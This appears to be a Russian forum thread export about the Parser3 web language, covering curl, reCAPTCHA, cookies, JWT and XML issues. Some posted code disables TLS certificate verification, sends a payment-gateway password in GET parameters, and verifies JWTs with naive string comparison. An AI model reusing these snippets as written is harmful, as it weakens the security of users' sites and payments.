При попытке прокрутить большой цикл, например, через FOR вылетает ошибка \"endless loop detected\", если число итераций больше 20000.\
При этом цикл даже не запускается - сразу ошибка.\
\
[b]Есть ли возможность крутить один цикл без ограничений и вложенных циклов?\
Если бы был способ создать объект (таблица/хеш/...) из числа, то при его прокрутке ошибки наверняка не было бы.[/b]"
"84372","Иначе с чего ему сохраняться в другой кодировке? Видимо стоит попробовать\
\
[code]$request:charset[utf-8]\
$response:charset[utf-8]\
[/code]"
"84373","https://www.parser.ru/news/\
\
Выпущена версия 3.4.5\
...\
\
[quote]В конфигурационном методе @conf[] можно задавать лимит итераций в циклах и максимальную глубину рекурсии. $LIMITS[ $.max_loop(20000) $.max_recoursion(1000) ] - значения по умолчанию.\
[/quote]"
"84374","Большое спасибо."
"84376","Сконвертируйте в правильную кодировку через консольный iconv. После этого работайте с файлами из Парсера."
"84377","Разобрались. Текст приходил в 1251, как и ожидалось. \
Странные символы вставлял JSON.parse у источника. После замены внутри js на обычную конкатенацию проблема исчезла. \
Не доверяйте javascript'у."
"84378","Пардон, JSON.stringify, конечно"
"84380","Добрый день!\
\
Возникла проблема с curl на виртуальном хостинге, техподдержка говорит с их стороны все в порядке.\
В общем все работало работало и вдруг перестало :(\
\
Есть код, проверяющий рекапчу:\
\
^curl:options[$.library[/usr/lib64/libcurl.so.4]]\
$recapcha[^curl:load[\
	$.url[https://www.google.com/recaptcha/api/siteverify] \
	$.timeout(10) \
	$.post(1)\
	$.postfields[secret=ключ&response=^taint[uri][$aRequest.[g-recaptcha-response]]&remoteip=^taint[uri][$env:REMOTE_ADDR]]\
	$.ssl_verifypeer(0)\
]]\
\
Путь к библиотеке указан верный, все проверял по ssh.\
С недавнего времени стала выскакивать ошибка:\
failed to set option 'postfields': A libcurl function was given a bad argument\
\
Установлен Parser/3.4.3 (compiled on x86_64-unknown-linux-gnu)\
\
Никак не могу разобраться в чем дело."
"84381","https://github.com/curl/curl/commit/b8bd6dc110fbcae20e0902bead097a40ed88e01a\
\
Причем в 7.56.0 тоже был эпичный баг, им пришлось экстренно выпускать 7.56.1:\
https://github.com/curl/curl/pull/1988\
\
Так что или просить хостера поставить 7.55.1, или найти где собранный бинарник\
под свою OS."
"84382","Написал на хостинг, ответили:\
\
На данный момент у нас используется \
libcurl.x86_64       7.56.1-1.0.cf.rhel6\
\
Очень странно, что не работает."
"84383","Фикс его пока только в гит, релиза версии с исправлением не было.\
\
P.S. Там же по ссылке все достаточно прозрачно: \
\
[quote]I just downloaded 7.56.1 and discovered that setting CURLOPT_POSTFIELDSIZE to -1 returns CURLE_BAD_FUNCTION_ARGUMENT.\
[/quote]\
Ответ:\
[quote]\
It was a mistake. Thanks, fixed in\
https://github.com/curl/curl/commit/b8bd6dc[/quote]"
"84384","Самое интересное что все работало, но хостер не признается что они обновили ПО, пишут смотрите код :)\
\
Спасибо за помощь!"
"84385","Ряд кривых сайтов может генерировать значения cookie (а возможно и любых заголовков) с недопустимыми символами, например:\
\
[code]>curl --head …\
HTTP/1.1 200 OK\
Server: nginx/1.4.6 (Ubuntu)\
Date: Mon, 13 Nov 2017 15:55:51 GMT\
Content-Type: text/html; charset=UTF-8\
Connection: keep-alive\
X-Powered-By: PHP/5.5.9-1ubuntu4.21\
Set-Cookie: PHPSESSID=gus7n49djcd5odv906lijjcq10; path=/; HttpOnly\
Expires: Thu, 19 Nov 1981 08:52:00 GMT\
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\
Pragma: no-cache\
Set-Cookie: _csrf=05d0d9e4690ba910cd25dd15cf9b898e8d20c7b828b31e89e82b4cec641a8a26a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22%E8w%F8%B7y%D50u%91%82%7D%1E%16%BFR%F3%AFK%AC%8D%A2%15z%82%BE%FC%E9+%B3R%B5%B0%22%3B%7D; path=/; httponly[/code]\
\
В Парсере получаем это в декодированном виде:\
[code]^curl:session{\
	$response[^curl:load[\
		$.url[…]\
		$.ssl_verifypeer(false)\
	]]\
\
	^if(^response.cookies.locate[name;_csrf]){\
		$response.cookies.value\
	}\
}[/code]\
[code]6526353df8a43d92e842e33526a5217fa09c652c687d6c7f9e651aef97bd7caea:2:{i:0;s:5:\"_csrf\";i:1;s:32:\"Og&#65533;(wHf&#65533;&#65533;m&#65533;&#65533;z&#65533;!&#65533;&#65533;&#65533;ek&#65533;&#65533;&#229;&#65533;e&#65533;&#65533;+\";}[/code]\
\
Если такое пытаться обрабатывать или, скажем, положить в БД в виде JSON — легко получить ошибки обработки строки или экранирования:\
[i]Invalid JSON text: \"Invalid escape character in string.\" at position 1775 in value for column 'storage.data'.[/i]\
\
Хотелось бы процентно закодировать невалидные символы, а как это сделать не совсем ясно.\
В данном случае по [url=\"https://tools.ietf.org/html/rfc6265#section-4.1.1\"]RFC6265[/url] допустимы:\
[quote]cookie-octet = %x21 / %x23-2B / %x2D-3A / %x3C-5B / %x5D-7E\
                   ; US-ASCII characters excluding CTLs,\
                   ; whitespace DQUOTE, comma, semicolon,\
                   ; and backslash[/quote]\
\
Js-escape закодирует всё non-ASCII, что избыточно.\
Match не работает — [i]UTF-8 validation failed during pcre_exec (-10)[/i].\
\
Нет ли у общественности идей?"
"84386","[quote]Invalid JSON text: \"Invalid escape character in string.\" at position 1775 in value for column 'storage.data'.[/quote]\
\
Это же не парсерная ошибка? \
\
[quote]m&#65533;.&#65533[/quote]\
\
Не совсем, понимаю, почему везде 65533, хотя символы вроде как разные в исходной строке.\
\
[quote]Нет ли у общественности идей?[/quote]\
\
Брать заголовок Set-Cookie: из таблицы заголовков ответа, а не из cookies?"
"84387","[quote]Это же не парсерная ошибка?[/quote]\
\
Это MySQL ругается, если такое в виде JSON положить в БД.\
\
[quote]Не совсем, понимаю, почему везде 65533, хотя символы вроде как разные в исходной строке.[/quote]\
\
Это форум коверкает и переводит в сущности.\
\
[quote]Брать заголовок Set-Cookie: из таблицы заголовков ответа, а не из cookies?[/quote]\
\
Вариант, да.\
Но придётся разбирать вручную."
"84388","[quote]Это MySQL ругается, если такое в виде JSON положить в БД.[/quote]\
\
А класть как строку? Или надо обязательно в виде JSON класть?\
\
[quote]Но придётся разбирать вручную.[/quote]\
\
Еще возможен вариант, что парсер декодирует не так, как они кодируют.\
Ну в смысле, что их %XX%YY это не UTF-8, а что-то другое, типа \\uXXYY."
"84389","[quote]А класть как строку? Или надо обязательно в виде JSON класть?[/quote]\
\
Документы хранятся в JSON.\
Хотя, есть подозрение, что и со строками могут быть проблемы.\
\
[quote]Еще возможен вариант, что парсер декодирует не так, как они кодируют.\
Ну в смысле, что их %XX%YY это не UTF-8, а что-то другое, типа \\uXXYY.[/quote]\
\
Я думаю, это [url=https://github.com/yiisoft/yii2/issues/14542]ошибка[/url], вроде [url=\"https://github.com/yiisoft/yii2/pull/14590/\"]такой[/url]."
"84390","[quote]Документы хранятся в JSON.[/quote]\
\
Ну это же не обязывает, чтобы тип данных в БД был такой же.\
JSON неплохо и из строки/текста парсится. :)\
\
[quote]Хотя, есть подозрение, что и со строками могут быть проблемы.[/quote]\
\
Насколько помню - нет. А уж если добавить binary к декларации типа данных - то точно не должно быть. :)"
"84391","[quote]Ну это же не обязывает, чтобы тип данных в БД был такой же.\
JSON неплохо и из строки/текста парсится.[/quote]\
\
Нельзя, используются экстракты подполей JSON на уровне БД.\
А переделывать всё хранилище из-за отдельных криворуких граждан будет слишком.\
\
Интересно как другие библиотеки, тот же urllib с такими заголовками поступает.\
Проверю."
"84392","[quote]Интересно как другие библиотеки, тот же urllib с такими заголовками поступает.[/quote]\
\
Ни urllib2, ни httplib заголовки не декодируют:\
[code]import httplib\
conn = httplib.HTTPSConnection('…')\
conn.request('HEAD', '/')\
res = conn.getresponse()\
print res.getheaders()[/code]\
\
[code][('x-powered-by', 'PHP/5.5.9-1ubuntu4.21'), ('set-cookie', 'PHPSESSID=7ucaotqtg1rrj5emf5oeuh6fh4; path=/; HttpOnly, _csrf=4ebb94289bf561ccf8715125686d799dd0d021323338b97a2a206491e154841ca%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22f%AF%28%EC%83%22b%E0%C4%BE%91%90%94%BEX6%B9%D3%95%C9C%26%040%A6%B5%F3%A0%9B%9C%5D%E1%22%3B%7D; path=/; httponly'), ('expires', 'Thu, 19 Nov 1981 08:52:00 GMT'), ('server', 'nginx/1.4.6 (Ubuntu)'), ('connection', 'keep-alive'), ('pragma', 'no-cache'), ('cache-control', 'no-store, no-cache, must-revalidate, post-check=0, pre-check=0'), ('date', 'Tue, 14 Nov 2017 23:45:16 GMT'), ('content-type', 'text/html; charset=UTF-8')][/code]\
\
Решил проверять значения cookie на вшивость и просто выбрасывать некорректно закодированные значения.\
\
Что любопытно, при такой ошибке у $exception'а нет типа, только комментарий:\
[code]^try{\
	$s[^string:js-unescape[4ebb94289bf561ccf8715125686d799dd0d021323338b97a2a206491e154841ca%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22f%AF%28%EC%83%22b%E0%C4%BE%91%90%94%BEX6%B9%D3%95%C9C%26%040%A6%B5%F3%A0%9B%9C%5D%E1%22%3B%7D]]\
	^s.lower[]\
}{\
	$exception.handled(true)\
	^json:string[$exception]\
}[/code]\
\
[code]{ \"source\":\"lower\", \"file\":\"…\", \"lineno\":3, \"colno\":12, \"comment\":\"change_case_UTF8 error: end pointers do not match\", \"handled\":true }[/code]"
"84393","Друзья, помогите плз.\
\
В настройках IIS настроен rewrite\
[code]^(.*)$ Rewrite /processor.p[/code]\
\
То есть все запросы отправляются обработчику. Обращаемся к http://site/turbo/engine, вызываем $requesr:uri. Получаем ответ [i]/processor.p?[/i] вместо ожидаемого [i]/turbo/engine[/i]. Под Apache все корректно, а тут неожиданность. Куда смотреть?\
\
Спасибо заранее."
"84394","[quote]Куда смотреть?[/quote]\
\
Стоит посмотреть переменные окружения - вероятно где-то должно быть искомое значение.\
\
[code]^env:fields.foreach[field;value]{\
   $field - $value\
}[/code]"
"84395","Супер, спасибо!\
\
Живет в [code]$env:HTTP_X_ORIGINAL_URL[/code]"
"84396","Если я не определю переменную $check и сделаю проверку:\
\
[code]\
^if(def $check && -f $file){\
...\
}\
[/code]\
\
Будет ли обращение к диску или проверка остановится на первой переменной?"
"84397","https://www.parser.ru/docs/lang/?exprops.htm\
\
[quote]	&&\
	Логическая операция AND\
	второй операнд не вычисляется, если первый - ложь\
[/quote]"
"84399","Текст для дескрипшена страниц стендалона подтягивается из БД, где он со внутренней разметкой абзацев и прочего всякого.\
\
Понятно, что для мета-дескрипшена текст должен быть полностью голым.\
\
Подскажите, пожалуйста, куда копать, чтобы исключить любое содержимое парных треугольных скобок и сами скобки, если тейнт-антейнт тут ни при чем?"
"84401","Если готовы поделиться безвозмездно, сообщество будет вам благодарно.\
\
Если за деньги, пишите мне лично."
"84402","Я недавно подключал к своему билингу интернет-эквайринг. Так там у сбера достаточно удобный rest-интерфейс. Если не заморачиваться со всякими возвратами (делать из через веб-инетрфес банка, если понадобится), то нужно реализовать всего две функции — выставить счет, проверить счет.\
\
Другое дело как ты это будешь у себя обрабатывать в «билинге». Как минимум надо сделать атк, чтобы второй раз оплата не проходила, но это на уровне СУБД сделать несложно.\
\
Код вроде примитивный:\
\
[code]\
@CLASS\
pfSberbankCardsRest\
\
@USE\
pf/types/pfClass.p\
pf/io/pfCFile.p\
pf/tests/pfAssert.p\
\
@BASE\
pfClass\
\
@create[aOptions]\
## aOptions.timeout(10)\
## aOptions.userName\
## aOptions.password\
  ^cleanMethodArgument[]\
  ^BASE:create[]\
  ^pfAssert:isTrue(def $aOptions.userName)[Не задат userName магазина.]\
  ^pfAssert:isTrue(def $aOptions.password)[Не задат password для магазина.]\
\
  $_urlPrefix[https://3dsec.sberbank.ru/payment/rest/]\
  $_userName[$aOptions.userName]\
  $_password[$aOptions.password]\
\
  $_timeout(^aOptions.timeout.int(10))\
\
@_formatDate[aDate][locals]\
  $d[^date::create[$aDate]]\
  $result[^d.year.format[%04d]-^d.month.format[%02d]-^d.day.format[%02d]T^d.hour.format[%02d]:^d.minute.format[%02d]:^d.month.second.format[%02d]]\
\
@createOrder[aBill;aOptions]\
## aBill.orderID - номер заказа\
## aBill.amount - сумма выставляемого счёта в рублях.\
## aBill.comment - комментарий.\
## aOptions.returnURL — адрес страницы возврата в магазин\
  ^cleanMethodArgument[aBill]\
  ^cleanMethodArgument[]\
  ^pfAssert:isTrue(def $aBill.orderID)[Не задан номер заказа.]\
  ^pfAssert:isTrue($aBill.amount > 0)[Сумма счета должна быть положительной.]\
  $result[]\
\
  $lResponse[^pfCFile:load[text;$_urlPrefix/register.do;\
    $.method[GET]\
    $.chrset[utf-8]\
    $.any-status(true)\
    $.timeout($_timeout)\
    $.form[\
      $.userName[$_userName]\
      $.password[$_password]\
      $.orderNumber[$aBill.orderID]\
      $.amount[^math:ceiling($aBill.amount*100)]\
      ^if(def $aBill.comment){\
        $.description[$aBill.comment]\
      }\
      $.returnUrl[$aOptions.returnURL]\
    ]\
  ]]\
  ^if($lResponse.status ne \"200\"){\
    ^throw[pfSberbankCardsRest.fail;HTTP error $lResponse.status;$lResponse.text]\
  }\
  $result[^json:parse[^taint[as-is][$lResponse.text]]]\
\
@orderStatus[aSBOrderID;aOptions]\
  ^cleanMethodArgument[]\
  ^pfAssert:isTrue(def $aSBOrderID)[Не задан номер заказа в системе Сбербанка.]\
  $result[]\
\
  $lResponse[^pfCFile:load[text;$_urlPrefix/getOrderStatus.do;\
    $.method[GET]\
    $.chrset[utf-8]\
    $.any-status(true)\
    $.timeout($_timeout)\
    $.form[\
      $.userName[$_userName]\
      $.password[$_password]\
      $.orderId[$aSBOrderID]\
    ]\
  ]]\
  ^if($lResponse.status ne \"200\"){\
    ^throw[pfSberbankCardsRest.fail;HTTP error $lResponse.status;$lResponse.text]\
  }\
  $result[^json:parse[^taint[as-is][$lResponse.text]]]\
\
\
[/code]"
"84403","Проект делал очень давно, он был заведен на Хронопей, и все работало, а сейчас все сложнее, электронные чеки, возврат денежных средств на карту...\
\
Спасибо за код!"
"84404","Не подскажете, почему первая обработка не срабатывает?\
\
мета бла-бла дескрипшен ^formblogdescr[]\
\
[code]@formblogdescr[]\
\
#Взяли большую статью со внутренним html.\
\
$formnohtmldescr[<p>Текст <span>с разметкой</span></p>]\
\
# Попилили всячески - тут сокращено, но принцип ясен.\
\
$fromleft[^formnohtmldescr.split[.;lh]]\
$fromright[^formnohtmldescr.split[.;rh]]\
$fromleft1[$fromleft.0]\
$fromleft2[$fromleft.1]\
\
# Собрали $final из кирпичей.\
\
$final[${thismessage.something}.${fromleft1}.${fromleft2}...]\
\
# Вот тут, вроде как, вгоняем в строку $nohtml уже очищенный текст:\
\
$nohtml[^final.match[<[^^>]+>;g; ]]\
$nohtml[^final.trim[]]\
\
# И здесь выдать бы из метода $nohtml, но... он, блин, с разметкой! Почему?!\
\
# Со второй попытки - ок:\
\
^nohtml.match[(<[^^>]+>)][g]{}[/code]"
"84405","Замены работают корректно.\
\
[code]$s[<p>Текст <span>с разметкой</span></p>]\
^s.match[<[^^>]+>;g;]\
\
Текст с разметкой[/code]"
"84406","[code]\
$nohtml[^final.match[<[^^>]+>;g; ]]\
$nohtml[^final.trim[]]\
[/code]\
\
Вы матч-то сделали, но потом снова записали поверх него final.\
\
Надо:\
\
[code]\
$nohtml[^final.match[<[^^>]+>;g; ]]\
$nohtml[^nohtml.trim[]]\
[/code]"
"84409","Доброго времени суток.\
В голове родилась идея просто подключать классы, начал пробовать реализацию, к сожалению не получилось.\
Идея была такая:\
\
[code]\
#Вызывать так\
$header[^_use[dev/classes;header]{\
	$options\
}]\
^header.navigation[]\
#или так\
^_use[dev/classes;header]{\
	$options\
}\
^header.navigation[]\
\
@_use[folder;name;options]\
$path[${folder}/${name}.p]\
^use[$path]\
$class[$[$name]]\
$[$name][^class::create[$options]]\
[/code]\
\
Но с такой конструкцией получается: \
class\
class is undefined"
"84411","Заработало в такой конструкции:\
[code]\
$head[^_use[dev/classes;header][\
	$.cache_id[^math:md5[$env:REMOTE_ADDR|$env:HTTP_USER_AGENT]]\
]]\
^head.headers[]\
\
@_use[folder;name;options]\
$path[${folder}/${name}.p]\
^use[$path]\
^if(^reflection:def[class;$name]){\
	^reflection:create[$name;create;$options]\
}\
[/code]"
"84412","Ваш код все равно упадет на вызове head.headers и вы не будете знать почему. Лучше упасть при создании объекта и не возиться с отладкой в другом месте. :)\
\
И еще, попробуйте вызвать свой _use еще раз с теми же параметрами. Очень много интересного узнаете."
"84413","[code]^self.header.navigation[]\
\
…\
\
@GET_header[]\
^use[dev/classes/header.p]\
$result[^header::create[…]]\
\
$self.header[$result][/code]\
\
Выполнится один раз при первом обращении к свойству.\
Работает в 3.4.6, правда только для объектов, не для классов.\
\
Нельзя передать аргументы конструктору напрямую, но он может брать нужное из полей объекта."
"84414","Ленивый и наипростейший нативный способ Парсера\
\
https://www.parser.ru/docs/lang/?defineclass.htm\
\
Например, в корневом auto.p \
прописываешь метод\
\
[code]\
#--- auto.p -----\
# ...\
\
@autouse[classname][locals]\
\
# при обращении в коде к неизвестному классу происходит попытка подгрузки класса\
^use[/classes/${classname}_class.p]\
\
$result[]\
\
# ...\
# --- /auto.p -----\
[/code]"
"84415","Привет.\
\
Нашел вот эту уже довольно древндюю ветку: https://www.parser.ru/forum/?id=74713 .\
\
С тех пор кое-что изменилось. :-) Появились новые чипы капч, изменились адреса обработчиков и так далее. У меня получилось вставить предложенный вариант как есть, он даёт рабочую ископаемую капчу с двумя словами латиницей.\
\
Пробуя заменить её на обычную сегодня V2 \"я не робот\", столкнулся с рядом проблем, часть которых не могу решить своими силами. Помогите, пожалуйста.\
\
Что сделано:\
\
1. Изменения в выдаче пользователю.\
$result[<script type=\"text/javascript\">\
	var RecaptchaOptions = ^self._printOptions[$hOptions]\
</script>\
[b]<script type=\"text/javascript\" src=\"${self.sChallengeURL}?k=${sPublicKey}$sError\"></script>[/b]\
<noscript>\
	<iframe src=\"${self.sNoscriptChallengeURL}?k=${sPublicKey}$sError\" height=\"300\" width=\"500\" frameborder=\"0\"></iframe><br/>\
	<textarea name=\"recaptcha_challenge_field\" rows=\"3\" cols=\"40\"></textarea>\
	<input type=\"hidden\" name=\"recaptcha_response_field\" value=\"manual_challenge\"/>\
</noscript>]\
\
заменено на \
$result[<script type=\"text/javascript\">\
	var RecaptchaOptions = ^self._printOptions[$hOptions]\
</script>\
[b]#[/b]<script type=\"text/javascript\" src=\"${self.sChallengeURL}?k=${sPublicKey}$sError\"></script>\
[b]<div class=\"g-recaptcha\" data-sitekey=\"qwertyuiopasdfghjklzxcvbnm\"></div>[/b]\
\
<noscript>\
	<iframe src=\"${self.sNoscriptChallengeURL}?k=${sPublicKey}$sError\" height=\"300\" width=\"500\" frameborder=\"0\"></iframe><br/>\
	<textarea name=\"recaptcha_challenge_field\" rows=\"3\" cols=\"40\"></textarea>\
	<input type=\"hidden\" name=\"recaptcha_response_field\" value=\"manual_challenge\"/>\
</noscript>]\
\
\
2. Изменения в адресах\
В последней версии той ветки предлагался такой набор урлов:\
$self.sChallengeURL[http://www.google.com/recaptcha/api/challenge]\
$self.sNoscriptChallengeURL[http://www.google.com/recaptcha/api/noscript]\
$self.sAJAXURL[http://www.google.com/recaptcha/api/js/recaptcha_ajax.js]\
$self.sVerifyURL[http://www.google.com/recaptcha/api/verify]\
Теперь, по информации , sVerifyURL=https://www.google.com/recaptcha/api/siteverify\
\
3. Добавление скрипта в head, как просит рекапча:\
<script src='https://www.google.com/recaptcha/api.js'></script>\
\
Результат - ошибка где-то здесь, [b]'load' called with invalid option [parser.runtime] [uri=/workshops/answers/, method=POST, cl=510]:[/b]\
\
[code]$fResult[^file::load[text;$self.sVerifyURL][\
	$.method[POST]\
	$.form[\
		$.privatekey[$sPrivateKey]\
		$.remoteip[$env:REMOTE_ADDR]\
		$.challenge[$hData.recaptcha_challenge_field]\
		$.response[$hData.recaptcha_response_field]\
	]\
	$.headers[\
		$.[USER-AGENT][reCAPTCHA Parser3]\
	]\
	$.timeout(10)\
]][/code]\
\
Что поправить?"
"84416","Нужен программист для доработки элементов сайта на парсере, пишите на почту you-say@mail.ru. Спасибо"
"84417","Вывод:\
[code]$recaptcha[^recaptcha2::create[\
	$.sitekey[…]\
]]\
\
<!DOCTYPE html>\
<html>\
	<head>\
		<meta charset=\"utf-8\">\
		<title>…</title>\
	</head>\
	<body>\
		<form action=\"\" method=\"post\">\
			^recaptcha.challenge[]\
\
			<button type=\"submit\">Отправить</button>\
		</form>\
\
		^recaptcha.script[\
			$.defer(true)\
			$.async(true)\
		]\
	</body>\
</html>[/code]\
\
Проверка:\
[code]$recaptcha[^recaptcha2::create[\
	$.secret[…]\
]]\
\
^recaptcha.verify[$form:fields]{\
	passed\
}{\
	failed\
}[/code]\
\
Внутри блоков кода доступна переменная [i]$response[/i] с [url=https://developers.google.com/recaptcha/docs/verify#api-response]ответом от Google[/url].\
В [i]$response.errors[/i] лежат возможные ошибки, от Google или curl при неудачной попытке соединения.\
\
Дополнительные примеры в [url=https://github.com/gzzz/parser/blob/master/recaptcha/recaptcha.html]recaptcha.html[/url]."
"84420","Доброго времени суток!\
Не нашел на форуме ни одной темы касающейся JWT, решил попробовать реализовать, решение рабочее и токен спокойно проверяется через jwt.io\
Если есть идеи как это можно масштабировать или сделать универсальный метод проверки и декодирования, пишите))\
Вот что получилось:\
[code]\
##JWT Token v1\
$secret[secret]\
$_header[\
	$.alg[HS256]\
	$.typ[JWT]\
]\
$_header[^json:string[$_header]]\
$header[^_header.base64[]]\
$_payload[\
	$.userId[b08f86af-35da-48f2-8fab-cef3904660bd]\
]\
$_payload[^json:string[$_payload]]\
$payload[^_payload.base64[]]\
\
$unsignedToken[${header}.${payload}]\
\
$signature[^math:digest[sha256;$unsignedToken;\
	$.format[base64]\
	$.hmac[$secret]\
]]\
\
$token[${header}.${payload}.${signature}]\
[/code]"
"84421","[quote]Если есть идеи как это можно масштабировать или сделать универсальный метод проверки и декодирования[/quote]\
\
Про масштабирование не совсем понятно.\
А проверка и декодирование — тривиальные.\
\
В спецификации, вроде, есть какие-то тонкости с именами полей тела, под это можно дорабатывать.\
\
[code]@main[]\
$secret[secret]\
\
$payload[\
	$.a[1]\
	$.b[2]\
]\
\
$token[^jwt:encode[$payload;$secret]]\
\
encoded:\
<pre>$token</pre>\
\
decoded:\
<pre>^json:string[^jwt:decode[$token;$secret];$.indent(true)]</pre>\
\
# ---------\
\
$payload[\
	$.c[3]\
	$.d[4]\
]\
\
$jwt[^jwt::create[$secret]]\
$token[^jwt.encode[$payload]]\
\
encoded:\
<pre>$token</pre>\
\
decoded:\
<pre>^json:string[^jwt.decode[$token];$.indent(true)]</pre>\
\
\
\
@CLASS\
jwt\
\
\
@OPTIONS\
locals\
\
\
@create[secret]\
$self.secret[$secret]\
\
\
@encode[payload;secret]\
$header[^json:string[\
	$.alg[HS256]\
	$.typ[JWT]\
]]\
$header[^self.to_url_safe[^header.base64[]]]\
\
$payload[^json:string[$payload]]\
$payload[^self.to_url_safe[^payload.base64[]]]\
\
$signature[^self.sign[$header;$payload;$secret]]\
\
$result[${header}.${payload}.$signature]\
\
\
@sign[header;payload;secret]\
^if(!def $secret){\
	$secret[$self.secret]\
}\
\
$result[^self.to_url_safe[^math:digest[sha256;${header}.$payload][\
	$.format[base64]\
	$.hmac[$secret]\
]]]\
\
\
@decode[token;secret]\
$result[]\
\
$token[^token.split[.;h]]\
\
$header[$token.0]\
$payload[$token.1]\
$signature[$token.2]\
\
^if(^self.sign[$header;$payload;$secret] eq $signature){\
	$result[^json:parse[^taint[as-is;^string:base64[^self.from_url_safe[$payload]]]]]\
}\
\
\
@to_url_safe[result]\
$replace[^table::create[nameless]{\
^#0A\
+	-\
/	_}]\
\
$result[^result.replace[$replace]]\
\
\
@from_url_safe[result]\
$replace[^table::create[nameless]{\
-	+\
_	/}]\
\
$result[^result.replace[$replace]][/code]"
"84422","Тестирую разное количество данных в хэше, и обнаруживаю неточности.\
Не могу понять в чем ошибка вычислений и почему разные хэши воспринимаются по разному.\
\
Согласно спецификации есть определенные имена полей, но есть и возможность использовать свои имена почти в любом количестве (на сайте дошел до 10 произвольных полей).\
\
[code]\
#json для шифрования\
{\
  \"hola\": \"hola\",\
  \"fame\": \"fame\",\
  \"foo\": \"foo\",\
  \"bar\": \"bar\"\
}\
#зашифрованный и подписанный токен на парсере, который на сайте jwt.io воспринимается как [b]невалидный[/b]\
ewoiYWxnIjoiSFMyNTYiLAoidHlwIjoiSldUIgp9.ewoiaG9sYSI6ImhvbGEiLAoiZmFtZSI6ImZhbWUiLAoiZm9vIjoiZm9vIiwKImJhciI6ImJhciIK fQ==.4-2mwD9Msoxq0QJPzqExOJfrkZEOQ_lUz3P3rPKM83I=\
#те же самые данные, только закодированные сайтом и считаются валидными\
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJob2xhIjoiaG9sYSIsImZhbWUiOiJmYW1lIiwiZm9vIjoiZm9vIiwiYmFyIjoiYmFyIn0.NdGM0Jfsjo77OdQ4ubfZBUwIXITnQHJRculdc8oKdxk\
\
#json для шифрования\
{\
  \"uID\": \"hola\",\
  \"gID\": \"fame\",\
  \"sID\": \"foo\",\
  \"cID\": \"bar\"\
}\
#зашифрованный и подписанный токен на парсере, который на сайте jwt.io воспринимается как [b]валидный[/b]\
ewoiYWxnIjoiSFMyNTYiLAoidHlwIjoiSldUIgp9.ewoidUlEIjoiaG9sYSIsCiJnSUQiOiJmYW1lIiwKInNJRCI6ImZvbyIsCiJjSUQiOiJiYXIiCn0=.9bjEMvuXriuoQrlZPY2U8Y5CkKCnxDyNsYFrMYM49sQ=\
#те же самые данные, только закодированные сайтом и считаются валидными\
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1SUQiOiJob2xhIiwiZ0lEIjoiZmFtZSIsInNJRCI6ImZvbyIsImNJRCI6ImJhciJ9.BFrjp7elb-Bkdc8v4MliNNu_AV7SZ-Tibmd34VGID74\
\
#json для шифрования\
{\
  \"one\": \"bounty\",\
  \"two\": \"bounty\",\
  \"tree\": \"bounty\",\
  \"four\": \"bounty\",\
  \"five\": \"bounty\"\
}\
#зашифрованный и подписанный токен на парсере, который на сайте jwt.io воспринимается как [b]невалидный[/b]\
ewoiYWxnIjoiSFMyNTYiLAoidHlwIjoiSldUIgp9.ewoib25lIjoiYm91bnR5IiwKInR3byI6ImJvdW50eSIsCiJ0cmVlIjoiYm91bnR5IiwKImZvdXIi OiJib3VudHkiLAoiZml2ZSI6ImJvdW50eSIKfQ==.hBcQIiGFqjttuKGLfWR48MFfH6qBLekXv62jYCOmwaI=\
#те же самые данные, только закодированные сайтом и считаются валидными\
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJvbmUiOiJib3VudHkiLCJ0d28iOiJib3VudHkiLCJ0cmVlIjoiYm91bnR5IiwiZm91ciI6ImJvdW50eSIsImZpdmUiOiJib3VudHkifQ.KgE_iHZC9UMp9oQ1_-h3WfOuyIgoJ7p-fZfq8FRHOMs\
\
#json для шифрования\
{\
  \"one\": \"bounty\",\
  \"two\": \"bounty\",\
  \"tree\": \"bounty\"\
}\
#зашифрованный и подписанный токен на парсере, который на сайте jwt.io воспринимается как [b]валидный[/b]\
ewoiYWxnIjoiSFMyNTYiLAoidHlwIjoiSldUIgp9.ewoib25lIjoiYm91bnR5IiwKInR3byI6ImJvdW50eSIsCiJ0cmVlIjoiYm91bnR5Igp9.1w6-Swqxbf0hBCsYaYnXZ73IX_4qN-T6sc5KDjs7qec=\
#те же самые данные, только закодированные сайтом и считаются валидными\
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJvbmUiOiJib3VudHkiLCJ0d28iOiJib3VudHkiLCJ0cmVlIjoiYm91bnR5In0.GSyB7uMWCnsqZVVCU-i4eIZrns1-M2GTIO-7Zx_8BaM\
[/code]"
"84423","А я taint забыл и перевод строки не выбрасывался.\
\
[code]@to_url_safe[result]\
$replace[^table::create[nameless]{\
^taint[^#0A]\
+	-\
/	_}]\
\
$result[^result.replace[$replace]][/code]"
"84428","Столкнулись с проблемой обработки больших xml файлов.\
Как только файл около 10 Мб, на [code]xdoc::create[/code] выдаётся исключение:\
\
[code]Entity: line xxx: parser error : internal error: Huge input lookup[/code]\
\
Кто-нибудь сталкивался?\
\
Видел пишут про [b]XML_PARSE_HUGE[/b] при сборке libxml, но хотел сперва уточнить тут, может кто-то сталкивался и владеет информацией, что делать :)"
"84429","Думаю стоит начать с версии OS/парсера (и из пакетов он или с сайта). Тест ниже создает XML размером 369778000 байт, который успешно парсится как парсером из пакетов, так и парсером с сайта (Debian 9 x64). Если сделать заметно больше - падает, но с ошибкой \"Too many heap sections\", поскольку при создании XML дерева делается много аллокаций.\
\
[code]xml1[][i]\
^for[i](0;9999){<data id=\"$i\">\
<fcontent1>content1</fcontent1>\
<fcontent2>content2</fcontent2>\
<fcontent3>content3</fcontent3>\
<fcontent4>content4</fcontent4>\
<fcontent5>content5</fcontent5>\
</data>\
}\
\
@main[]\
    $data[^for[i](1;200){^xml1[]}]\
    ^data.length[]\
    $x[^xdoc::create{<?xml version=\"1.0\" encoding=\"utf-8\"?><root>$data</root>}]\
}\
\
cpu $status:rusage.utime memory($status:memory.used/$status:memory.free) parser $env:PARSER_VERSION\
[/code]\
\
\
Возможно дело не столько в размере, сколько в сложности XML, и тогда да, поддержки передачи XML_PARSE_HUGE у нас нет,\
